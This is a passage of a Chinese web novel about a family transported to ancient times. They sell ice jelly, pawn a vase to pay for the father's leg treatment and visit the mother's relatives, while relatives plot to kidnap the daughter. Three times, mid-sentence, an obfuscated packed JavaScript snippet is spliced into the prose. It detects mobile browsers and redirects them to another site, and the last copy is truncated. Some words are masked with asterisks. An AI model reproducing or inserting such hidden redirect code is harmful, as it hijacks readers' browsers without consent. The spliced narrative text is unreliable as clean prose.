这个花瓶买的时候店家说寓意非常好,好像是—— “福寿双全。”赵宁宁说:“我想起来了,当时288买的,我还嫌样式老。” 欣赏完毕,赵宁宁把花瓶递给哥哥,赵启小心接过,凑着火光看了几眼,便仔细用旧衣服给裹好,放在箩筐里。 昨天出门去医馆的时候赵启留心观察了丰宁县能看到的花瓶,虽然有些也是绘制图案的,但精度没用自家花瓶的高,颜色也不出彩。 “还好当时没买卡通图案花瓶。”赵启说:“这个样式的花瓶拿出不会太惹眼,刚刚好。” “嘿嘿……”赵宁宁挠头,当时她还想着买一个小猪花瓶,猪鼻子的两个孔刚好插花,还好宁妈嫌弃太抽象不肯给买,换了这个花瓶。 冰粉籽泡得差不多,赵宁宁把石灰水调配好放一边沉淀,两人一人守着一个桶开始搓冰粉。 搓到一半的时候宁妈醒过来,赵宁宁忙把她的那碗粥给端出来,刚才她怕凉,特意留了一些热水温着。 宁妈吃过糙米粥,洗净手把赵宁宁手里的活接替过来。宁宁现在的身体年龄才八岁,她怕孩子太累着不长个子,尽量不让两个小孩干重活。 今天起得要比昨天早得多,三人抬着箩筐到村头时,王李村的牛车还没走。 知道赵家二房一家子不容易,赶牛车的人见他们几人过来,放下手里的鞭子,热情地去帮着把箩筐抬到车上用绳子拴好,招呼赵宁宁往前坐,前面没那么颠簸。 卯时正不到,车上陆续又来了几个村里的小媳妇,是约着今日去县城买针头线脑的。 宁妈循着记忆对照了各自的脸,同她们打了招呼,两个孩子跟着问好。 牛脖子上的铜铃叮叮响,车架开始前行,牛车破开清晨的薄雾,慢慢向官道晃悠。 赵宁宁在亲妈带着馨香的怀抱里睡了一路,再醒来的时候天色已大亮,县城半高的城墙慢慢从官道地平线中拔地而起。 还是同昨日一般,几人交了入城的铜钱,齐心抬着箩筐往东市走。 走到一处无人的巷子,赵宁宁直接从空间里拿出装着冰粉和水的木桶,刚刚箩筐里只掩饰地放了些碗勺,重的东西都在空间里放着。 吃力地将东西抬到东市,宁妈也不换地方,直接摊子还摆在昨日的位置,曹娘子做的是热食生意,见他们来这么早,惊讶道:“周娘子?今日怎么来这般早?” 宁妈笑笑:“今天提前做了准备,看看哪个时间好卖,多摸索几日看看。” 曹娘子点头,她摊位旁边还有空,趁炉子还没烧好,便往旁边挪挪,多给宁妈他们留了空。 一切感激尽在不言中,东西放好,赵宁宁掀开一个桶盖检查冰粉凝固的情况,凝固得刚刚好。 天色越来越亮,过了辰时,一旁摊位的曹娘子额间已经出了薄薄一层汗,宁妈适时地端出一碗“样品”摆在桶盖上,不一会,有路过还没吃朝食的人过来问询。 陆续卖出去十几碗后,宁妈发现越是接近中午,人越多,此时温度也比早上要高许多,来往路人都想找些解渴消暑的东西吃。 因此,正午前后两个小时是冰粉最畅销的时候。 昨日吃过的回头客今日有一部分循过来还碗顺便再买新的,有这波回头客带动,下午三点不到,赵宁宁家的冰粉全部售罄。 还有几位没吃上的,宁妈只能抱歉说明日多备一点。 把小摊稍微归拢一下,宁妈跟旁边摊位的曹娘子打了招呼,三人去医馆看望宁爸。 宁爸斜倚在床上,手里有一搭没一搭地扇着医馆给的蒲扇,见宝贝老婆和两个孩子过来,高兴地把蒲扇往床上一丢,忙不迭地起身,让出位置。 “来来来!歇一下,今天怎么来这么早?冰粉都卖完了?” 宁妈顺着宁爸的边上坐下,掏出钱袋子数铜板,四双眼睛盯着,最终数出来五百四十文。 宁妈拿出四十文,交代赵启把今天的“医疗费”拿去给医馆。 “今天卖了一百零八碗,比昨天多了二十碗。”日进半两银子,在普通人家看已是不可多得的营生,但这些钱只够宁爸一天的诊金。 好在花瓶修好了,卖掉的话能喘口气,不用再这么紧赶着。 赵宁宁从空间掏出布包,剥开层层旧衣服,把修复好的花瓶拿出来给宁爸看。 “你们几个辛苦了……”宁爸凑近看了一圈,花瓶瓶口断裂的地方竟然真的被修复得毫无破损过的痕迹。 把花瓶还给赵宁宁,宁爸手往怀里摸,压低声音神神秘秘地说:“我今天用钓鱼技能,你猜我钓到了什么?” 宁妈问:“你钓到什么了?” 宁爸把手摊开,手心里只有空气,这时候还不忘调皮,宁妈白了自家丈夫一眼,“说正事。” “我今天钓的东西竟然不是实物。”宁爸说:“钓点刷新了一个医馆,我新钓点钓到了‘程大夫的医术知识x1’!” “钓到之后,我感觉脑子里立马多了点东西,系统告诉我说我现在可以辨认一些基础草药。” “好好好!”宁妈连赞三声,这个技能太实用了,家里一个懂中药的都没有,如果宁爸能多钓几次医术知识,那全家在古代起码能安全许多,一些小病可以直接自己治好。 宁妈拉着他的手,眼中充满希翼:“你接下来还要在医馆呆半个月呢,你把所有的技能都用在医馆吧!” 宁爸重重点头应下:“嗯!” “还得是钓鱼佬啊!”赵宁宁不可思议道:“钓鱼技能真好……” 如果高考能钓到老师的知识,是不是就可以笑着进考场……不对不对,都已经穿越且考完高考了。赵宁宁把乱七八糟的念头从脑海里甩出去,把手中的花瓶给包裹好,问:“妈,咱们现在去卖花瓶吗?” “去!我也去!”宁爸第一个起身,“我去跟医馆说一声,还有,今天上午我跟他们打听了……” 顺着宁爸的“打听”,三人来到丰宁县的当铺。 把花瓶放在柜台之上,四人忐忑等着掌柜鉴定。 虽说这个花瓶看上去比大周朝的工艺要好,但几人对这个花瓶具体价值心里没个底。 “这花瓶倒像是淮川府能制出来的。”掌柜有些摸不准,放下花瓶,他对一旁的小二叮嘱:“去把刘掌柜喊过来,给四位客人上茶。” 小二点头应是,恭敬地从柜台后出来,请几人到一旁落座等待, 奉上清茶后,他出门顺着巷子快步走了。 看花瓶的掌柜拱手道:“在下姓郑,单字一个登,敢问几位贵姓?” “免贵姓赵,郑掌柜叫我赵老二便是。”宁爸应道。 “是这样的,我不擅长看花瓶,所以让小二去请刘掌柜来了。”郑掌柜从柜台后绕出来,在一旁的座位坐下,笑眯眯地安抚道:“之前见过一双花瓶,比今日这个稍逊色一些,值六十两银。” 那自家花瓶起码能值二三十两银子?赵宁宁双目炯炯。 宁爸脸上焦急的神色一松,叹息道:“那便好,实不相瞒,是城南的程大夫推荐我来这里的。” “你看我,遭遇不测腿重伤如此,实在是拿不出银子来治病,这才不得不把家传的花瓶给拿出来抵掉。” 郑掌柜顺着赵老二的手一看,掀开的衣服下,一条可怖的伤疤爬在腿上。 怪不得要把这么精美的花瓶给拿出来卖。郑掌柜心底啧啧,面上替客人担忧:“一般花瓶是成双买 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17229734|197609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的,今日这个花瓶……可能起价要比之前的花瓶价低。” 只要能高过二十两银子今天来就不算亏本,宁妈稳稳坐着,任宁爸发挥演技跟掌柜卖惨。 半盏茶的功夫,刘掌柜跟着小二匆匆赶过来,打了招呼后钻进柜台里细细端详一番花瓶。 放着看完之后,他又小心拿起对着光又谨慎地看了又看,脸上这才露出笑意:“这花瓶不错。” 他的话一出,宁爸脸上也扬起笑,搓搓手,宁爸问:“刘掌柜,这花瓶能当多少?” “你要是死当,能给你三十两。”刘掌柜小心放下花瓶,“活当的话只能给二十两,毕竟这花瓶只有一只,若是成对便好了……” 买的时候也没想过还有这种讲究,宁爸咬咬牙,做出一副不忍心割爱的样子,说:“刘掌柜……您看这价格还能再高些吗?” “唉……”刘掌柜叹气,“这工艺确实与淮川府不相上下,近些年淮川府少有米色花瓶,这样,给你三十二两,不能更多了。” 半柱香后。 攥着三十五两凉呼呼的银元宝,宁爸被三个家人环绕着离开当铺。 四人不敢停留,快步朝医馆走去,回到房间,宁爸悄悄把二十两银子递给赵宁宁,“宁宁,你拿着放家里。” 赵宁宁把手盖上银子,两个闪亮亮的大银锭立马消失。 “十两交看腿的费用,五两你们拿着花。”宁爸安排好银子去处,一瘸一拐地去医馆交钱。 程大夫也没问怎么这么快便凑齐银子,收了银子,看了看宁爸伤腿的状态,告诉他少走动,后日便给他重新正骨。 宁爸惨白着小脸回房间,这模样吓了其他人一跳,知道缘由之后,宁妈爱怜地摸摸宁爸的脸,说后日早点来陪他。 十两银子没用完,宁妈让宁爸把剩下的一两多贴身留着应急,看天色还早,她让孩子爹早点歇着,她要带着孩子们去采买一些东西。 手里有银子心中不慌,宁妈先去买了家里最缺的铁锅,考虑到家里要花银子的地方太多,只买了一只锅先用着。 买完锅顺道在铁匠铺子买了两把菜刀,家里分家连菜刀都没有,这几天吃野菜全是手撕。 锅都卖了,开锅要用的肥肉也得买一些,又割了两斤肉,宁妈准备好好给孩子们补补。 买完这几样,她又去布店扯布,准备给全家人做两套衣服换洗着。赵启的衣服还好,赵宁宁的衣服都烂成一条一条的,简直跟拖把没两样。 最后宁妈稍微买了一些古代的零嘴给孩子,剩下二十两银子,她问赵宁宁要了十两出来,全买成了粮食。 宁妈让粮铺的人把所有粮食都拉到巷子后面,支走伙计之后,让赵宁宁把这车粮食全塞进空间,顺带把刚才买的铁锅布匹也一起收进去。 等粮铺伙计回来,她跟人说家里人已经把粮食搬走,让伙计把车拉回去。 收了满满十大袋粮食,赵宁宁手里揣着两包点心,边走边问老妈:“妈……娘,咱们这几日得空不是还得买些菜?好久没吃正常的菜了。” “哎呦!多亏宁宁,差点忘了这事儿。”宁妈一拍脑袋,“等会回去路上买,咱们先去拿东西。” 日头不早,三人回到东市拿了箩筐,木桶里面没有东西,赵宁宁和赵启都能抬得动。 宁妈沿着摆摊多的地方走,不一会便在县城卖菜的摊位上买了几样应急的菜,赵宁宁看到里面有豆角,恨不能仰天长啸。 在现代逃不过的豆角噩梦,怎么都穿越了,在古代也逃不掉! 想是这样想,晚上宁妈用新锅炒的豆角炒肉,赵宁宁筷子伸得比谁都快。 吃饱喝足,依旧留赵启在家看门,赵宁宁随着老妈去打水洗漱。 分来的两亩地这几天都没空管,宁妈带着赵宁宁利用空间**,来回几趟,挨个把家里的地给浇了个遍。 临走时赵宁宁捏开一串稻穗,明明已经是灌浆后期了,里面的谷子像是发育不良一样,全都瘦瘦小小的,有的稻穗上面根本结不了多少籽粒。 并非自家是这样,赵宁宁来的路上观察了其他人家的稻子,全都差不多。明明前两天来看的时候土壤还湿润着,看上去没用短地里的水,产量却还是一般般。 两人忧心忡忡地去河边打水回家。 老赵家。 孙氏踮脚看了又看,顺着窗缝只能看到三小子一人在家。暗自唾弃一声,孙氏弓着腰,悄悄回到堂屋。 “怎么样?”钱婆子低声问。 “家里只有三小子在,五丫定是被她娘带着出门了!”孙氏安慰婆婆,“咱们明日早点起来盯着,周氏总不能一整日都带着那个丫头!” 第10章 快递到了 第二日,孙氏一早便起来蹲守,只见后院那座泥屋天不亮便在屋里烧火,等天色大亮时,他们三个才从屋里出来。 眼见周氏紧紧攥着五丫的手腕走出院子,孙氏转身回房。 “娘……娘……怎么样?”赵文远问:“都两天了,他们总不能日日夜夜都守着那个丫头吧?” “那可不就是。”孙氏心底烦躁,一日抓不住那丫头,她就要提心吊胆地继续蹲着。这两天没见着赵老二在家,正是下手的好机会,实在不行,找个人单独把那丫头骗出去,再趁机下手。 孙氏眼珠一转,计上心头。 县城。 赵宁宁在无人处把家里摆摊的东西都搬出来,让哥哥和妈妈一起抬着。 她走在一边,感叹到:“系统是让我们勤劳致富吗?昨天捡垃圾一下子捡到一堆书。” 那堆七成新的书里,大都是小孩的绘本,只有两本稍微有用一点的,一本是儿童植物百科全书,一本是儿童智慧故事。 “你就偷着乐吧,咱们家里只有你能‘回家’,在这个萝卜面前,你捡到的东西都算是白给。”宁妈损她一通。 赵宁宁乐呵呵地说:“你的也很不错嘛!昨天晚上不是发现只要使劲儿往空间里塞东西,它就会‘长大’吗?多来几次,咱家之后买多少东西都不愁没有地方放了。” 现在赵宁宁的电梯厅里有一半的地方堆着昨天买的粮食,另外一半的地方拿来临时存放摆摊用的箩筐。 她进空间的时候,都快没有落脚的地方了。 说着走着,几人走出巷子,赵启说:“妹妹,你昨天不是说树上有冰粉籽植物的样子吗?我们要不要上山去找一下?” 百科全书上面写有冰粉籽植株的生长周期和地理环境,赵宁宁昨日便比对过,王李村的地理环境跟书上写的还挺接近的。 所以这个时代有可能会存在有冰粉籽,如果能找到的话,就可以直接把方子和冰粉籽植株辨别方法一起给卖掉。 找不到也没关系,赵宁宁可以留一批冰粉籽做种子,只是这冰粉籽的来历还要宁爸再发挥一下演技。 “好啊!”赵宁宁说:“等咱爸今日治过腿之后,我就去山上找一找。” “不然一直摆摊也挺累的,如果能把这个方子给卖掉的话,咱们就可以省一点事了!” 每天来回往县城跑,三个人都没有时间好好休息。 宁妈赞同道:“那今日咱们早点收摊,去探望你爸。” 几人来得比昨日要晚一些,曹娘子关怀了一下,宁妈说反正早来也没生意,这种冷食要天热起来才好卖,她们之后都会晚一些来。 知道她们没事曹娘子便放心了,宁妈把摊子先支起来,等生意上门的空挡,在东市的木匠铺子买了一张方桌,又买了两个板凳。 有前两日的基础,今日的生意还要好做一些,赵宁宁一边往碗里加小料一边想:说不准过两天就有人打探冰粉生意呢! 早早结束生意,宁妈让赵宁宁把桌子收起来抬着,自己则是跟赵启抬起箩筐。 在路上把东西收进空间后,赵宁宁跟着宁妈去寻丰宁县的中人。 前几日他还能自个儿蹦跶着去街上买吃食,接下来几天宁爸都只能躺在床上动不了,等小腿断骨重新接起来这段时间,宁妈准备给他找个古代版的小饭桌。 中人带着宁妈去跟附近的妇人详谈,谈好价格和送餐时间,宁妈付好定金,这才带着妇人一同去医馆认人。 送走妇人后,宁爸被大夫喊到医馆。 “先将这碗药喝下,喝完到后面房间的床上躺着。”程大夫交代:“疮肿已消退,待会你睡着后我便为你重新整复,固定几日,若无其他大碍便可回家养着。” “哎哎,好的大夫。”宁爸点头应是,端着要学徒递来的药碗,一鼓作气把这苦涩又带着异香的药喝下,听话地去后面房间的小床上坐着,跟宁妈扯着手依依惜别了好一会。 正说着话,宁爸整个人喝醉酒一般晕乎地往一边歪,程大夫就在一边,见此情况,立马上前扶着宁爸让他顺势躺在床上。 宁妈适时将他双脚的布鞋脱下,帮着程大夫把宁爸给摆正。 “你们几个出去等吧,一会便好。”程大夫冲几人摆摆手。 赵宁宁只能跟着宁妈退出这间房在外等待,药效太好,宁爸中间压根没醒过,半个时辰过后,陈大夫从屋内走出,对几人点点头,道:“还算顺利,他要待一会才能醒过来。” 得到准许后,赵宁宁几人进屋探望,只见宁爸的伤腿表面毫无变化,原本有些错位的地方,变得顺直起来,起码肉眼看左右都对称的。 药效还没过去,宁爸仍旧在沉睡之中,宁妈见他头上面被这破天气给热出了一层汗,温柔地拿出新裁的布帕给他擦擦汗。让赵启去宁爸原来住的房间把蒲扇拿过来,她亲自给宁爸扇着。 宁爸醒过来的时候见到的便是这幅画面,妻子和孩子们都守在自己的身边,他的宝贝闺女还在站在一边给自己扇着扇子。 赵宁宁对上他的视线,惊喜道:“爹!你醒了!” 来不及感动,下一秒腿上一股剧痛从脚尖一溜烟窜上心头,宁爸忍不住倒吸一口气,腿好痛! “怎么样?”宁妈关怀道。 “还好……”宁爸咬牙嘶了一下:“虽然比之前痛了一些,还好在能忍受的范围之内。” “那就好!那就好……”宁妈放下心:“医生交代醒了之后不能随意活动,你先在这里休息。” 宁爸原本还想起身的,闻言,只能顺从着躺下。 知道他醒之后,程大夫进来看了一下。坐在床边给他号了脉,调整了一下腿上的木板,末了,程大夫掀起床单,捏着银针在宁爸腿上和脚上的各处穴位飞针刺入。 这还不够,他又伸手挨个转捻了一番,给宁爸疼得直接皱起了眉。 扎针的痛简直要盖过腿的痛了。一刻钟后,程大夫将银针挨个收走,宁爸神奇地发现,此刻竟然觉得腿的疼痛要比刚才稍微轻一点。 想起这几日喝的中药能直接把他腿上发炎的伤口给压下去,宁爸不禁感叹:中医真神奇 几人又陪了他一会,眼见天色不早,只能先回家去,临走之前,宁妈说明日再来探望他。 临走前,宁妈在街上又买了两包点心,赵宁宁不禁好奇地问道:“娘,你买这么多干什么?昨天买的还没吃完呢。” “今天晚上要去走亲戚。”宁妈让赵宁宁把点心收好,一直到晚饭后,才让赵宁宁拿出在街上买的点心。 想了想,赵宁宁被宁妈使唤着回电梯间里,从昨日买的粮食里面分出来五斤细粮和五斤粗粮,一同装进里小布袋里。 借着夜色,宁妈带着一对儿女去往原身的家。 周家在王李村最西边,他们家的顶梁柱在周兰香成亲前一年,出远门做工,被山匪害了,那时周兰香十五,她弟弟才一岁。 没了丈夫,何氏只能咬牙撑起这个家,她带着女儿日夜耕作,这才保住了家中的田地,没两年,女儿也出嫁了,好在嫁的是同村人家。 虽说钱婆子人坏了些,但赵铁牛像是赵家歹竹里的好笋一般,勤勤恳恳地下地干活,维持着一家子的生计,除了自己要干的活之外,他还帮衬着周家干了大部分活。 就这样苦着捱着,这么多年过去,何氏拉扯大了孩子,小儿子能下地之后,周家的日子才慢慢顺遂起来。 只是近些年,老赵家越发夸张,赵家三个小子还未结婚前,他们家里人还侍弄侍弄田地,自打赵老二娶妻之后,他们将大部分重活都压给了二房。 二房在赵家,像是大户人家的长工一般,他们的孩子在那个家里也备受欺凌。 …… 宁妈过去的时候,何氏正在院子里给儿子拧帕子,一个精瘦黝黑的十五六岁小孩儿定定地站着,任由亲娘拿干净的帕子给自己擦脸。 “娘?弟弟?”宁妈轻声喊,颇有些不习惯这样。 毕竟在现代,她自己的亲爸亲妈还好好的,她适应了一下身份,放开嗓子喊:“娘!大弟!” “姐?是姐来了!”少年欢呼一声,挣脱亲娘的手,跳起来就要往院外冲。 听到院外的动静,院中老妇人忙放下手帕,都不用踮脚便能看到土墙外笑吟吟站着的人,这不正是自己的女儿?! 已有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17229735|197609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小半个月未曾见面了,何氏把帕子往水盆里一丢,拦住蹿腾的儿子,忙不迭去开院门。 “你们怎么这个时辰来了?”何氏将几人迎进屋,给她们一人一碗地倒上凉白开。 宁妈都来不及回答,她接连问道:“前几日听见村子里说……你们分家了?唉——你们住在老赵家,我不便去看,在门口转了几遍,没见着你们我便回来了。” “你们分家是怎么回事?” “前几日刚分完家不是忙着呢么,这不,今日稍闲一些我便带着孩子来了。”宁妈坐着,任由周氏摸摸发髻又摸摸脸,里里外外检查了个遍。 何氏没看出来闺女身上有什么不妥,放下心来,扯着闺女的手,追问道:“你们分家是怎么回事?” “这事儿说来话长……他们想要把宁宁卖给镇上的孙家那傻儿子当童养媳!我跟赵老二不同意,便以为这事罢了。谁知没过几天他们竟然歹毒地趁我们都不在宁宁身边的时候,直接要将她绑了去!” 差一点!差一点他们就成功了!赵宁宁滚头上的大包到现在还没完全消退呢。 “分了家,你们一家就好好地过。”何氏听到赵家把二房一家分出来的消息,直替女儿高兴,那老赵家如同蚂蟥一样,整日扒着二房一家的血吸。 赵老二年轻时还好,还有余力能帮衬着自家,近几年赵家是越来越过分了,反倒是自家孩子长大之后,偶尔还能去帮着姐夫干点活。 说到这里,何氏不禁疑惑:“今日怎么没见到铁牛过来?他是在家休息吗?” 赵老二前几日腿伤的时候,何氏还偷偷将攒的鸡蛋给捡了一篮子送去。只不过周氏刚拿到手便被钱婆子给截胡抢走了,那一篮子鸡蛋,赵老二当时只吃到了一个。 “他被我们送到县城里去治腿了。”宁妈解释:“这几日我们在县城忙着做了一个小营生,一日能有四五百文的收入。 “什么营生这般挣钱……娘不问,你们只管过得好就行。”何氏欣慰地笑笑,“我跟你弟昨日还念叨着你们一家子呢,这几天都没见铁牛出门,我想着你们担水担不过来,让小剑早上给你们浇了浇地。” 怪不得晚上去浇地的时候感觉稻子也还精神着呢,原来是有古代小舅舅给帮忙浇水了。赵宁宁移目看过去,刚才院里还敞着怀的少年,此时正襟危坐着,脸上表情绷得紧紧的,一副严肃沉稳的样子。 大人说话最为无聊,赵宁宁的心很快便飘回她的空间里。 ——咦!? 空间里多了几个快递箱子……是快递到了! 赵宁宁雀跃起来,很快又开始苦恼:电梯厅那点六平米的空间,真的不够用了! 宁妈带着点心和粮食上门,何氏推拒了好一番才收下,不收宁妈说后日就不喊周剑去帮忙干活了。 想到女儿家里日子也不过好过,先放着当帮他们存起来,何氏在女儿临走之前,从屋里搜罗出满满一箩筐鸡蛋,硬塞给女儿。 离开周家,宁妈让两个孩子先回家,自己拿着点心和布匹去找原身在村里的好友。 那罗氏擅长裁衣,宁宁家一家子的衣服要拜托她给做一下。 “走走走!快递到了,我要回去拆快递!”赵宁宁催促哥哥,两人就着夕阳,快步朝家里跑。 一进屋,闩好门,赵宁宁便迫不及待地钻进空间里。 五个大箱子紧紧贴着箩筐摆着,赵宁宁拿着家里菜刀,毫不客气地将所有快递都给拆开。 除了两袋五十斤的大米和白面之外,还有一箱是杂粮,宁妈拿来熬五谷粥用的。 捧着纸巾,赵宁宁忍不住用脸蹭一蹭,终于!终于给盼来了! 天晓得她这几天都是用多么原始的方法擦的屁股! 对了,还有卫生巾——赵宁宁打开最后一个纸箱,里面是一些日用品,其中占据了半箱的是宁妈常卖的小翅膀牌子的卫生巾。 “好吧,反正我这几年都暂时用不到,这些足够老妈撑个半年的,半年之后只能另想办法了,希望到时候能进家里去,家里还有一些……” 赵宁宁闪出空间,把五个大纸箱一字排开放在屋里,和赵启共享这份喜悦。 第11章 被盯上 “那丫头今天没出门!” “快快,你去找人,我留在这看着!” 蹲守了三日才寻到空子,钱婆子把孙氏给支使出去,自个儿搬了一张小板凳,正对着院子坐下。 怕干坐着被看出端倪来,她破天荒地去屋里寻了一件磨**了的旧衣裳,像模像样地缝着。 赵宁宁今日确实没有出门,宁前几日去周家就是说好让周剑今日陪自己上山的,他的年龄要比赵启大几岁,且经常在山上山下跑,有他陪着上山,宁妈要放心一些。 即便如此,宁妈临出门的时候还是三番几次的叮嘱了让宁宁一定要注意安全,跟着这个小舅舅一起,千万不能走远也不能随处走动,如果实在找不到假酸浆草那就算了。 太早去山上会有露水,两家约的是巳时。赵宁宁安心地在家摸鱼看绘本,时不时支起耳朵听听院外的动静。 只不过小舅舅没有等到,倒是等来了其他人。 “五丫在家吗?” ——嗯?怎么会有人来找我? 赵宁宁放下绘本,将窗户支起一条缝隙往外看。 “那丫头就在屋里,你去找她吧!”钱婆子声音异常的温和。 听到这动静,赵宁宁忙把窗户放下,将床上摆的绘本收进空间,轻轻拉开一条门缝。 门口迎面走来一个一个年岁看上去跟自己差不多小姑娘,她挎着一个篮子,穿着一身洗得有些发白的水红色长裙,头发扎成两个双丫髻,上面还绑着两个红色的绸带。 ——这是谁? 那小丫头见赵宁宁还在发愣,伸手去拉她:“五丫,好几日都不见你在家,今日好不容易找着你了,我们一起去山上挖野菜吧。” “你不来山上我和胖姑我们几个可无聊了。” 提到人名,赵宁宁终于从记忆里翻出来了这个人信息,她是同村的李小燕,今年十岁,是原身几个玩伴之一,但关系并不好,因为她总是有意无意地挤兑原身。 她在家里也不是很受宠爱,一得到什么东西便会来向五丫炫耀。 原来的赵老二去城里打工回来,有时会把主家赏的东西给女儿留着,一两块糖紧紧包好贴在怀里放,才不会被钱婆子搜罗走。 五丫拿到糖的时候糖都有些化掉了,粘在糯米纸上扁扁的,即便如此,这也是她灰暗回忆中不可多得的甜蜜时光。 有时赵老二也会攒一攒主家给的赏钱,回家时给女儿和媳妇买县城里时兴的头花。 五丫不敢在老赵家戴,只敢在上山捡柴火的时候偷偷拿出去戴一下。 李小燕看到五丫身上多了新东西,会偷偷跟钱婆子告状,让钱婆子把五丫痛骂一顿,再把东西收走。 …… 回忆结束,赵宁宁把自己的手从对方的手中抽出来,冷冷淡淡地拒绝:“你们去吧,我不去。” 钱婆子自打李小燕进门便一直注意着这边的动静,见五丫无动于衷,生怕她今日会在房间里呆一整天不出门,忍不住哄骗。 “五丫头,人家小燕都特意来找你了,你就跟他一起去吧,我看你也好几天没有出去玩了。” 一副慈祥奶奶的做派。 “说了不去,就是不去!”赵宁宁不想再纠缠下去,直言道:“之前挖的野菜够我们家吃好多天了,**吗还要再上山挖野菜。” “你怎么这样?”李小燕扁扁嘴,“不去就不去嘛,干嘛这样凶我?” 赵宁宁有些无语,她哪里凶了?!只是实话实说罢了,那野菜苦得不行,赵宁宁直接剁碎了给鸡吃了,宁妈一口气买了三天吃的菜,都还在她空间里放着呢。 “你找那个什么胖姑一起去吧。”赵宁宁摆摆手。 要是以前赵宁宁敢这样对自己说话,李小燕早就甩脸走人了,一想到今天赵宁宁的大伯娘去她家给她娘塞的那包糖,她嘴里的口水不自觉便泛滥起来。 咬咬唇,她又劝道:“反正你在家也闲着,不如跟我们一起去,就当玩了。” “不去。”赵宁宁拒绝得十分干脆,见她还要在这儿纠缠,直接后退几步回屋,哐地一下把门给关上。 听到屋门落闩的声音,李小燕表情都扭曲了。 ——五丫今天怎么这般不听话?!明明之前她只要随便说说,五丫就会傻乎乎的相信的! 见李小燕没能把人给骗出来,钱婆子急得手里的破衣服都给扔了,快步走到后院,钱婆子攥着李小燕的胳膊小声问:“怎么?她咋不出来?” “我怎么知道……”李小燕撅起嘴,抱怨道:“钱奶奶,你把我胳膊扯疼了。” “哦哦。”钱婆子松开手,着急得团团转。 “要不你再喊喊?” “……行吧。” 李小燕将篮子换个胳膊挽着,一手揉着被钱婆子捏痛的地方,一边朝窗子大声喊。 “五丫!五丫!你怎么回屋里去了。” “你要是不跟我一起去,下次再去山上,我们就不喊你一起了!” 屋内的人仍旧无动于衷,李小燕有些挫败,忍不住放出最大的**锏: “你这样,我们不跟你玩了!” ——谁稀罕这个。 ——这种哄小孩的话只对8岁小孩有用,我可是17岁的大人! 成熟的“大人”赵宁宁不管外面的动静,这会也不敢再拿绘本出来看,她索性将家里剩的最后一点蔫巴野菜给细细切碎,丢在鸡笼子里。 她家的鸡早上会被宁妈放出去自己找食儿,晚上回来的时候鸡会自己回到赵家,夜间再喂一次麸皮拌碎菜,省心得很。一两天还能给家里下个土鸡蛋吃吃呢。 李小燕在外面又喊又跳,喊到口干舌燥,实在是没办法了,她只能看看钱婆子。 钱婆子一咬牙,伸手大力敲击窗户。 “五丫!你怎么这般不听话?!分家分的翅膀都硬了是吧!人家李小燕家平时可没少帮衬咱们赵家,让你出去陪着小燕挖挖野菜怎么了?能活吞了你?!” 钱婆子今天动静这样大,赵宁宁用脚想都能想出来她不对劲。 ——该不会是,今天想对自己下手吧? 赵宁宁摩挲着下巴,那要不要将计就计一下?一直跟他们几个住在一个院子里,每天出门摆摊很不方便,趁机闹一下然后搬出老赵家? 这个主意不错,就是一个人没法子跟宁妈通风报信——不对,这不是还有小舅舅吗! 说曹操曹操到,周剑的大嗓门老远便传过来。 “宁宁!宁宁!我来了!” “哎!”赵宁宁脆生生地回答,下一秒便拉开门,正抬手拍门的钱婆子猝不及防之下,一下子扑了个空,胳膊撞在门框上,哎呦哎呦地叫唤。 “奶?你怎么还在这儿?”赵宁宁故作惊讶道:“我不是说我不跟李小燕一起挖野菜吗?” “你!你个死丫头!你绝对是成心的!”钱婆子捂着胳膊,恨恨看向赵宁宁,恨不能将她拆穿入腹。 ——哎呀,人家也没想过当坏人的。 赵宁宁嘻嘻一笑,转头把门给锁好,直接朝院外跑去。 周剑守在院门口,正想着再喊喊外甥女,下一秒便看见她从院里出来了。 “小舅舅,我们快走!”赵宁宁窜在前面带路。 “哎——”周剑来不及拦她,只能喊:“你慢点,小心摔着!” 钱婆子出来的时候,赵宁宁都窜没影儿了。 忙活一早上,结果连这个丫头片子的衣角都没挨着,钱婆子气了个倒仰。 这时,孙氏脚步匆匆地回来,见婆婆在院里扶着额头,看了看四周,小心将大门关上,问:“娘?这是怎么回事?怎么我看见五丫跟周家那小子一起上的山?” “上山?”钱婆子将手拿开,正眼看孙氏:“她上山了?” “对呀,我刚才从地里回来,远远便瞧见她跑得飞快,后面跟着周家小子,他们就是往山上去的。” “走走走!”钱婆子回屋,拿出一个大箩筐,往里塞了一捆麻绳,想了想,又放进去一块破布。 两个做贼心虚的妇人悄悄锁好院门,见左右无人,顺着另一条不太常有人走的小道匆匆往山上赶去。 山上。 有几日没来山上捡柴火,山上的草木因着连日的干旱和暴晒,看上去更加凋零了,叶子都蔫哒哒地垂在枝头,看上去一丝生机都无。 赵宁宁看得直皱眉。 这鬼天气,就算有假酸浆草,也被老天给晒**吧? 可能是有大树稍微遮阴,紧贴着地面的野草,倒还有几分绿意,赵宁宁边走边把意识沉入空间,对照着树上假酸浆草的样子,挨个去看。 走走停停,她和小舅舅还顺便挖了一些野菜。 见日头越升越高,周剑停下脚步,让小外甥女坐在阴凉地儿,从背篓里掏出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 